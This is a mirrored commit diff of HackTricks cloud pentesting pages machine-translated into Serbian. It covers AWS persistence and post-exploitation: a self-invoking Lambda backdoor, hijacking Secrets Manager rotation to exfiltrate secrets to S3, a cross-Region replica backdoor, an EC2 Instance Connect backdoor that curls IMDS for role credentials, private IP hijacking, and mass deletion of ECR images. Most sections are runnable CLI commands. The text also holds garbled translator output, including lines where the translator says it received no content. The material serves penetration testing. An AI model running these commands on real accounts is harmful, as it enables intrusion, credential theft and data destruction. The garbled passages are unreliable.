gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-02-04 19:11:41 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-l

Browse Source
This commit is contained in:
Translator
2025-10-23 13:07:29 +00:00
parent aa26849598
commit 20e0011003
18 changed files with 478 additions and 435 deletions
Download Patch File Download Diff File Expand all files Collapse all files

1
searchindex.js
View File

File diff suppressed because one or more lines are too long

27
src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md
View File

@@ -1,10 +1,12 @@
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
Iskoristite Lambda asynchronous Destinations zajedno sa Recursion konfiguracijom da funkcija stalno ponovo poziva samu sebe bez eksternog scheduler-a (bez EventBridge, cron, itd.). Po defaultu, Lambda prekida rekurzivne petlje, ali postavljanjem recursion config na Allow ponovo ih omogućavate. Destinations isporučuju na strani servisa za async invokes, pa jedan seed invoke kreira prikriveni, bez-koda heartbeat/backdoor kanal. Opcionalno ograničite brzinu pomoću reserved concurrency da smanjite buku.
{{#include ../../../../banners/hacktricks-training.md}}
Notes
- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.
Iskoristite Lambda asynchronous Destinations zajedno sa Recursion konfiguracijom da funkcija kontinuirano ponovo poziva samu sebe bez spoljnog raspoređivača (nema EventBridge, cron, itd.). Po defaultu, Lambda prekida rekurzivne petlje, ali postavljanjem Recursion konfiguracije na Allow ponovo ih omogućavate. Destinations isporučuju na serverskoj strani za async invokes, tako da jednim inicijalnim invoke-om kreirate prikriveni, bez-kodni heartbeat/backdoor kanal. Po želji ograničite sa reserved concurrency da držite šum niskim.
Napomene
- Lambda ne dozvoljava da se funkcija direktno konfigurše da bude njen sopstveni destination. Koristite function alias kao destination i omogućite execution role da pozove taj alias.
- Minimalne dozvole: mogućnost čitanja/azuriranja target funkcije event invoke config i recursion config, objavljivanja verzije i upravljanja alias-om, i ažuriranja policy-ja execution role funkcije da dozvoli lambda:InvokeFunction na alias-u.
## Requirements
- Region: us-east-1
@@ -14,12 +16,12 @@ Notes
## Steps
1) Dobavite ARN funkcije i trenutnu Recursion postavku
1) Nabavite ARN funkcije i trenutnu Recursion postavku
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) Objavite verziju i kreirajte/azurirajte alias (koristi se kao odredište koje upućuje na samu funkciju)
2) Objavite verziju i kreirajte/azurirajte alias (koristi se kao self destination)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
@@ -29,7 +31,7 @@ aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-vers
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) Dozvolite ulozi za izvršavanje funkcije da pozove alias (zahtevano za Lambda Destinations→Lambda)
3) Dozvoli da uloga za izvršavanje funkcije pozove alias (zahteva Lambda Destinations→Lambda)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) Konfigurišite async destination na alias (self preko alias) i onemogućite retries
4) Podesite async destination na alias (self via alias) i onemogućite retries
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
@@ -63,11 +65,11 @@ aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --regio
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) Pokrenite jedno asynchronous invoke
6) Pokrenite jedan asinhroni invoke
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
7) Posmatrajte kontinuirane invokacije (primeri)
7) Posmatrajte kontinuirane pozive (primeri)
```
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
@@ -78,7 +80,7 @@ aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## Čišćenje
Prekinite petlju i uklonite persistence.
Prekini petlju i ukloni persistence.
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
@@ -89,4 +91,5 @@ ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## Uticaj
- Jedan async invoke uzrokuje da Lambda kontinuirano re-invokuje samu sebe bez eksternog scheduler-a, omogućavajući stealthy persistence/heartbeat. Reserved concurrency može ograničiti šum na jednu warm execution.
- Jedan async invoke uzrokuje da Lambda kontinuirano poziva samu sebe bez spoljnog scheduler-a, omogućavajući stealthy persistence/heartbeat. Reserved concurrency može ograničiti noise na jednu warm execution.
{{#include ../../../../banners/hacktricks-training.md}}

86
src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
View File

@@ -4,7 +4,7 @@
## Secrets Manager
Za više informacija pogledajte:
For more info check:
{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
@@ -12,13 +12,13 @@ Za više informacija pogledajte:
### Putem Resource Policies
Moguće je **dodeliti pristup secrets eksternim nalozima** putem resource policies. Pogledajte [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) za više informacija. Imajte na umu da će eksterni nalog, da bi **pristupio secret-u**, takođe **morati imati pristup KMS ključu koji enkriptuje taj secret**.
Moguće je putem resource policies **grant access to secrets to external accounts**. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) za više informacija. Imajte na umu da, da bi **access a secret**, spoljni nalog takođe mora **need access to the KMS key encrypting the secret**.
### Putem Secrets Rotate Lambda
Da bi se automatski **rotate secrets**, poziva se konfigurisana **Lambda**. Ako napadač uspe da **promeni** **kod**, mogao bi direktno **exfiltrate the new secret** sebi.
Da bi se **rotate secrets** automatski, poziva se konfigurisani **Lambda**. Ako bi napadač mogao **change** **code**, mogao bi direktno **exfiltrate the new secret** sebi.
This is how lambda code for such action could look like:
Ovako može izgledati lambda code za takvu akciju:
```python
import boto3
@@ -48,33 +48,27 @@ import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
```
{{#include ../../../../banners/hacktricks-training.md}}
### Preusmeri Lambda za rotaciju na funkciju pod kontrolom napadača pomoću RotateSecret
Iskoristite `secretsmanager:RotateSecret` da ponovo povežete secret na Lambda za rotaciju pod kontrolom napadača i pokrenete trenutnu rotaciju. Zlonamerna funkcija eksfiltrira verzije tajne (AWSCURRENT/AWSPENDING) tokom koraka rotacije (createSecret/setSecret/testSecret/finishSecret) ka mestu za eksfiltraciju napadača (npr. S3 ili eksterni HTTP).
- Requirements
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
- Impact
- Napadač dobija vrednost(e) tajne bez izmene legitimnog koda za rotaciju. Samo se menja konfiguracija rotacije da pokazuje na Lambda pod kontrolom napadača. Ako se ne primeti, zakazane buduće rotacije će nastaviti da pozivaju napadačevu funkciju.
### Zamena rotation Lambda za funkciju pod kontrolom napadača putem RotateSecret
Iskoristi `secretsmanager:RotateSecret` da ponovo poveže secret na rotation Lambda pod kontrolom napadača i pokrene trenutnu rotaciju. Zlonamerna funkcija eksfiltrira verzije secreta (AWSCURRENT/AWSPENDING) tokom koraka rotacije (createSecret/setSecret/testSecret/finishSecret) ka destinaciji napadača (npr. S3 ili eksterni HTTP).
- Zahtevi
- Dozvole: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` na napadačkoj Lambdi, `iam:CreateRole/PassRole/PutRolePolicy` (ili AttachRolePolicy) za dodelu execution role Lambdi sa `secretsmanager:GetSecretValue` i po mogućstvu `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (da rotacija nastavi da radi), KMS `kms:Decrypt` za KMS ključ secreta, i `s3:PutObject` (ili outbound egress) za eksfiltraciju.
- Ciljni secret id (`SecretId`) sa omogućenim rotiranjem ili mogućnošću da se rotacija omogući.
- Uticaj
- Napadač dobija vrednost(e) secreta bez izmene legitimnog koda za rotaciju. Promenjena je samo konfiguracija rotacije koja pokazuje na napadačku Lambdu. Ako se ne primeti, zakazane buduće rotacije će i dalje pozivati napadačku funkciju.
- Koraci napada (CLI)
1) Pripremi destinaciju za eksfiltraciju i Lambda execution rolu
- Kreiraj S3 bucket za eksfiltraciju i execution rolu kojoj Lambda veruje, sa dozvolama za čitanje secreta i pisanje u S3 (plus logs/KMS kako je potrebno).
2) Deploy napadačku Lambdu koja pri svakom koraku rotacije preuzme vrednost(e) secreta i upisuje ih u S3. Minimalna logika rotacije može samo kopirati AWSCURRENT u AWSPENDING i promovisati ga u finishSecret da servis ostane funkcionalan.
3) Ponovo poveži rotaciju i pokreni
- Attack steps (CLI)
1) Prepare attacker sink and Lambda role
- Kreirajte S3 bucket za eksfiltraciju i execution role kojoj Lambda veruje sa dozvolama za čitanje tajne i pisanje u S3 (plus logs/KMS po potrebi).
2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
3) Rebind rotation and trigger
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
4) Proveri eksfiltraciju listanjem S3 prefiksa za taj secret i pregledom JSON artefakata.
5) (Opcionalno) Vrati originalnu rotation Lambdu da smanji verovatnoću detekcije.
4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
5) (Optional) Restore the original rotation Lambda to reduce detection.
- Primer napadačke Lamde (Python) koja eksfiltrira u S3
- Example attacker Lambda (Python) exfiltrating to S3
- Environment: `EXFIL_BUCKET=<bucket>`
- Handler: `lambda_function.lambda_handler`
```python
@@ -104,17 +98,17 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
```
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
Iskoristite Secrets Manager version staging labels da postavite verziju secreta pod kontrolom napadača i držite je skrivenom pod custom stage-om (na primer, `ATTACKER`) dok produkcija nastavlja da koristi originalni `AWSCURRENT`. U bilo kom trenutku prebacite `AWSCURRENT` na verziju napadača da zatrovate zavisne workloads, pa ga vratite da smanjite šanse za detekciju. Ovo obezbeđuje stealthy backdoor persistence i brzo manipuliranje vremenom upotrebe bez promene imena secreta ili rotacionih podešavanja.
Iskoristite Secrets Manager version staging labele da postavite attacker-controlled verziju secreta i držite je skrivenom pod custom stage-om (na primer, `ATTACKER`) dok produkcija nastavlja da koristi originalni `AWSCURRENT`. U bilo kom trenutku, pomerite `AWSCURRENT` na attacker-ovu verziju da zatrovate zavisna workloads, a zatim ga vratite da umanjite šansu za detekciju. Ovo omogućava prikrivenu backdoor persistentnost i brzu manipulaciju time-of-use bez menjanja imena secreta ili rotation config-a.
- Zahtevi
- Dozvole: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (za verifikaciju)
- Ciljni secret id u Regionu.
- Requirements
- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
- Target secret id in the Region.
- Uticaj
- Održavajte skrivenu, verziju secreta pod kontrolom napadača i atomarno prebacujte `AWSCURRENT` na nju na zahtev, utičući na bilo kog konzumenta koji rešava isti naziv secreta. Prebacivanje i brzo vraćanje smanjuju šansu za detekciju dok omogućavaju kompromitovanje u trenutku upotrebe.
- Impact
- Održavajte skrivenú, attacker-controlled verziju secreta i atomsku promenu `AWSCURRENT` na nju po potrebi, utičući na sve consumer-e koji rešavaju isti secret name. Brza promena i momentalan revert smanjuju šansu za detekciju dok omogućavaju kompromitovanje u trenutku korišćenja.
- Koraci napada (CLI)
- Priprema
- Attack steps (CLI)
- Preparation
- `export SECRET_ID=<target secret id or arn>`
<details>
@@ -167,24 +161,24 @@ aws secretsmanager update-secret-version-stage \
```
</details>
- Napomene
- Kada navedete `--client-request-token`, Secrets Manager ga koristi kao `VersionId`. Dodavanje nove verzije bez eksplicitnog podešavanja `--version-stages` podrazumevano pomera `AWSCURRENT` na novu verziju i označava prethodnu kao `AWSPREVIOUS`.
- Beleške
- Kada navedete `--client-request-token`, Secrets Manager ga koristi kao `VersionId`. Dodavanje nove verzije bez eksplicitnog postavljanja `--version-stages` po defaultu premesti `AWSCURRENT` na novu verziju i označi prethodnu kao `AWSPREVIOUS`.
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
- Iskoristite multi-Region replikaciju Secrets Manager-a da kreirate repliku ciljne tajne u manje nadgledanom Regionu, enkriptujete je KMS ključem pod kontrolom attacker-a u tom Regionu, zatim promovišete repliku u samostalnu tajnu i primenite permisivnu politiku resursa koja attacker-u daje pristup za čitanje. Originalna tajna u primarnom Regionu ostaje nepromenjena, što omogućava trajni, prikriveni pristup vrednosti tajne preko promovisanog replike dok se zaobilaze KMS/policy ograničenja na primarnoj.
Iskoristite Secrets Manager multi-Region replication da kreirate replica ciljanog secret-a u manje nadgledanoj Region, enkriptujete ga attacker-controlled KMS key u toj Region, potom promovirate replica u standalone secret i prikačite permissive resource policy koja daje attacker read access. Originalni secret u primary Region ostaje neizmenjen, obezbeđujući trajan, stealthy pristup vrednosti secret-a preko promoviranog replica, a istovremeno zaobilazeći KMS/policy ograničenja na primarnom.
- Zahtevi
- Dozvole: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- U Regionu replike: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (or `kms:PutKeyPolicy`) kako bi attacker principal mogao da izvrši `kms:Decrypt`.
- Attacker principal (user/role) koji će dobiti pristup za čitanje promovisanoj tajni.
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- U replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (ili `kms:PutKeyPolicy`) da omoguće attacker principal-u `kms:Decrypt`.
- An attacker principal (user/role) koji će dobiti read access na promoted secret.
- Uticaj
- Trajna cross-Region putanja pristupa do vrednosti tajne kroz samostalnu repliku pod attacker-controlled KMS CMK i permisivnom politikom resursa. Primarna tajna u originalnom Regionu ostaje netaknuta.
- Trajan cross-Region put do vrednosti secret-a kroz standalone replica pod attacker-controlled KMS CMK i permissive resource policy. Primary secret u originalnoj Region ostaje netaknut.
- Napad (CLI)
- Varijable
- Vars
```bash
export R1=<primary-region> # e.g., us-east-1
export R2=<replica-region> # e.g., us-west-2
@@ -192,7 +186,7 @@ export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
```
1) Kreirajte KMS ključ kojim kontroliše napadač u replica Region
1) Kreiraj KMS key pod kontrolom napadača u replica Regionu
```bash
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
@@ -205,7 +199,7 @@ aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
```
2) Replikujte tajnu na R2 koristeći napadačev KMS ključ
2) Replikujte tajnu u R2 koristeći attacker KMS key
```bash
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
@@ -218,7 +212,7 @@ NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
```
4) Priložite permisivnu politiku resursa na samostalnu tajnu u R2
4) Priložite permisivnu resource policy na standalone secret u R2
```bash
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
@@ -226,9 +220,9 @@ JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
```
5) Pročitaj secret od attacker principal u R2
5) Pročitajte tajnu od attacker principal u R2
```bash
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
```
{{#include ../../../../banners/hacktricks-training.md}}

23
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
View File

@@ -2,13 +2,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
Zloupotrebite EC2 Instance Connect Endpoint (EIC Endpoint) da dobijete dolazni SSH pristup privatnim EC2 instancama (bez javnog IP/bastion) tako što:
- Kreirate EIC Endpoint unutar ciljne subnet
- Dozvolite dolazni SSH na ciljni SG sa EIC Endpoint SG
- Ubrizgate kratkotrajan javni SSH ključ (važi ~60 sekundi) pomoću `ec2-instance-connect:SendSSHPublicKey`
- Otvorite EIC tunel i pivotirate na instancu da biste ukrali kredencijale instance profile-a iz IMDS
Zloupotrebite EC2 Instance Connect Endpoint (EIC Endpoint) da biste dobili dolazni SSH pristup privatnim EC2 instancama (bez public IP/bastion) tako što ćete:
- Kreirati EIC Endpoint unutar ciljnog subnet-a
- Dozvoliti dolazni SSH na ciljnom SG sa EIC Endpoint SG-a
- Injektovati kratkotrajni javni SSH ključ (važi ~60 sekundi) koristeći `ec2-instance-connect:SendSSHPublicKey`
- Otvoriti EIC tunel i pivotirati na instancu da biste ukrali kredencijale instance profila iz IMDS
Impact: prikriven put za daljinski pristup privatnim EC2 instancama koji zaobilazi bastione i ograničenja javnih IP-ova. Napadač može preuzeti instance profile i delovati u nalogu.
Impact: prikriven put daljinskog pristupa privatnim EC2 instancama koji zaobilazi bastions i ograničenja public IP-a. Napadač može preuzeti instance profile i delovati u nalogu.
## Zahtevi
- Dozvole za:
@@ -16,7 +16,7 @@ Impact: prikriven put za daljinski pristup privatnim EC2 instancama koji zaobila
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
- Ciljna Linux instanca sa SSH serverom i EC2 Instance Connect omogućenim (Amazon Linux 2 ili Ubuntu 20.04+). Podrazumevani korisnici: `ec2-user` (AL2) ili `ubuntu` (Ubuntu).
## Varijable
## Promenljive
```bash
export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
@@ -27,7 +27,7 @@ export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user
```
## Kreiraj EIC Endpoint
## Kreirajte EIC Endpoint
```bash
aws ec2 create-instance-connect-endpoint \
--subnet-id "$SUBNET_ID" \
@@ -73,13 +73,13 @@ TUN_PID=$!; sleep 2
# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
```
## Post-exploitation dokaz (steal instance profile credentials)
## Post-exploitation dokaz (ukrasti instance profile credentials)
```bash
# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
```
I don't have the contents of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md. Please paste the markdown/html content you want translated (including tags/paths), and I will return the Serbian translation while preserving all markdown, links and tags exactly.
Niste uključili tekst za prevod. Pošaljite sadržaj fajla (markdown) koji želite da prevedem i ja ću ga prevesti na srpski uz zadržavanje svih tagova i linkova nepromenjenim.
```json
{
"Code": "Success",
@@ -109,5 +109,6 @@ aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
```
> Napomene
> - Injektovani SSH ključ važi samo ~60 sekundi; pošaljite ključ odmah pre otvaranja tunela/SSH.
> - Injektovani SSH ključ važi samo ~60 sekundi; pošaljite ključ neposredno pre otvaranja tunela/SSH.
> - `OS_USER` mora odgovarati AMI-ju (npr. `ubuntu` za Ubuntu, `ec2-user` za Amazon Linux 2).
{{#include ../../../../banners/hacktricks-training.md}}

27
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
View File

@@ -2,49 +2,50 @@
{{#include ../../../../banners/hacktricks-training.md}}
Iskoristite `ec2:UnassignPrivateIpAddresses` i `ec2:AssignPrivateIpAddresses` da ukradete sekundarnu privatnu IP adresu žrtvinog ENI-ja i premestite je na ENI napadača u istoj subnet/AZ. Mnoge interne usluge i security groups ograničavaju pristup po specifičnim privatnim IP adresama. Premestivši tu sekundarnu adresu, napadač se predstavlja kao trusted host na L3 i može pristupiti allowlisted servisima.
Zloupotrebite `ec2:UnassignPrivateIpAddresses` i `ec2:AssignPrivateIpAddresses` da ukradete sekundarnu private IP adresu ENI-ja žrtve i premestite je na attacker ENI u istom subnet/AZ. Mnoge interne usluge i security groups ograničavaju pristup na osnovu specifičnih private IPs. Premestivši tu sekundarnu adresu, attacker se predstavlja kao pouzdani host na L3 i može da pristupi allowlisted services.
Preduslovi:
- Potrebne dozvole: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` na victim ENI ARN, i `ec2:AssignPrivateIpAddresses` na attacker ENI ARN.
- Oba ENI-ja moraju biti u istom subnetu/AZ. Ciljana adresa mora biti sekundarna IP (primary cannot be unassigned).
- Dozvole: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` on the victim ENI ARN, and `ec2:AssignPrivateIpAddresses` on the attacker ENI ARN.
- Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).
Variables:
- REGION=us-east-1
- VICTIM_ENI=<eni-xxxxxxxx>
- ATTACKER_ENI=<eni-yyyyyyyy>
- PROTECTED_SG=<sg-protected> # SG na ciljnoj usluzi koja dozvoljava samo $HIJACK_IP
- PROTECTED_SG=<sg-protected> # SG on a target service that allows only $HIJACK_IP
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
Koraci:
1) Izaberite sekundarnu IP adresu sa žrtvinog ENI-ja
1) Pick a secondary IP from the victim ENI
```bash
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
```
2) Osigurajte da zaštićeni host dozvoljava samo tu IP adresu (idempotentno). Ako umesto toga koristite SG-to-SG pravila, preskočite.
2) Uverite se da zaštićeni host dozvoljava samo taj IP (idempotentno). Ako umesto toga koristite SG-to-SG pravila, preskočite.
```bash
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
```
3) Osnovna provera: from attacker instance, zahtev ka PROTECTED_HOST bi trebalo da ne uspe bez spoofed source (npr. preko SSM/SSH)
3) Osnovno: sa attacker instance, zahtev ka PROTECTED_HOST trebalo bi da ne uspe bez spoofed source (npr. preko SSM/SSH)
```bash
curl -sS --max-time 3 http://$PROTECTED_HOST || true
```
4) Uklonite sekundarnu IP adresu sa victim ENI
4) Uklonite sekundarnu IP adresu sa ENI-ja žrtve
```bash
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
```
5) Dodeli istu IP adresu attacker ENI-ju (na AWS CLI v1 dodaj `--allow-reassignment`)
5) Dodelite istu IP adresu attacker ENI-ju (na AWS CLI v1 dodajte `--allow-reassignment`)
```bash
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
```
6) Potvrdite da je vlasništvo prebačeno
6) Potvrdite da je vlasništvo premešteno
```bash
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
```
7) Sa attacker instance, source-bind to the hijacked IP da biste pristupili zaštićenom hostu (osigurajte da je IP konfigurisan na OS-u; ako nije, dodajte ga pomoću `ip addr add $HIJACK_IP/<mask> dev eth0`)
7) Sa attacker instance izvršite source-bind na hijacked IP kako biste došli do protected host (osigurajte da je IP konfigurisan na OS; ako nije, dodajte ga sa `ip addr add $HIJACK_IP/<mask> dev eth0`)
```bash
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
```
## Uticaj
- Zaobiđite liste dozvoljenih IP adresa i lažno se predstavite kao pouzdani hostovi unutar VPC premještanjem sekundarnih privatnih IP adresa između ENIs u istom subnet/AZ.
- Pristupite internim servisima koji ograničavaju pristup na osnovu specifičnih izvorišnih IP adresa, čime omogućavate lateralno kretanje i pristup podacima.
- Zaobiđite IP allowlists i lažno se predstavljajte kao pouzdani hostovi unutar VPC-a pomeranjem sekundarnih private IPs između ENIs u istoj subnet/AZ.
- Pristupite internim servisima koji ograničavaju pristup na osnovu specifičnih source IPs, omogućavajući lateral movement i pristup podacima.
{{#include ../../../../banners/hacktricks-training.md}}

50
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
View File

@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
Nakon preuzimanja images treba da ih **proverite zbog osetljivih informacija**:
Nakon preuzimanja images, trebalo bi da ih **proverite zbog osetljivih informacija**:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
Napadač sa bilo kojom od ovih dozvola može **kreirati ili izmeniti lifecycle policy kako bi obrisao sve images u repository-ju**, a zatim **izbrisati ceo ECR repository**. To bi rezultiralo gubitkom svih container images smeštenih u repository-ju.
Napadač sa bilo kojom od ovih dozvola može **kreirati ili izmeniti lifecycle policy kako bi obrisao sve images u repository-ju** i potom **izbrisati ceo ECR repository**. To bi rezultiralo gubitkom svih container images smeštenih u repository-ju.
```bash
# Create a JSON file with the malicious lifecycle policy
echo '{
@@ -90,27 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
```
{{#include ../../../../banners/hacktricks-training.md}}
### Eksfiltracija upstream registry kredencijala iz ECR Pull‑Through Cache (PTC)
### Exfiltrate upstream registry credentials iz ECR Pull‑Through Cache (PTC)
Ako je ECR Pull‑Through Cache konfigurisana za authenticated upstream registries (Docker Hub, GHCR, ACR, itd.), upstream credentials su sačuvane u AWS Secrets Manager sa predvidivim prefiksom imena: `ecr-pullthroughcache/`. Operateri ponekad dodeljuju ECR adminima širok Secrets Manager read access, što omogućava credential exfiltration i ponovno korišćenje van AWS.
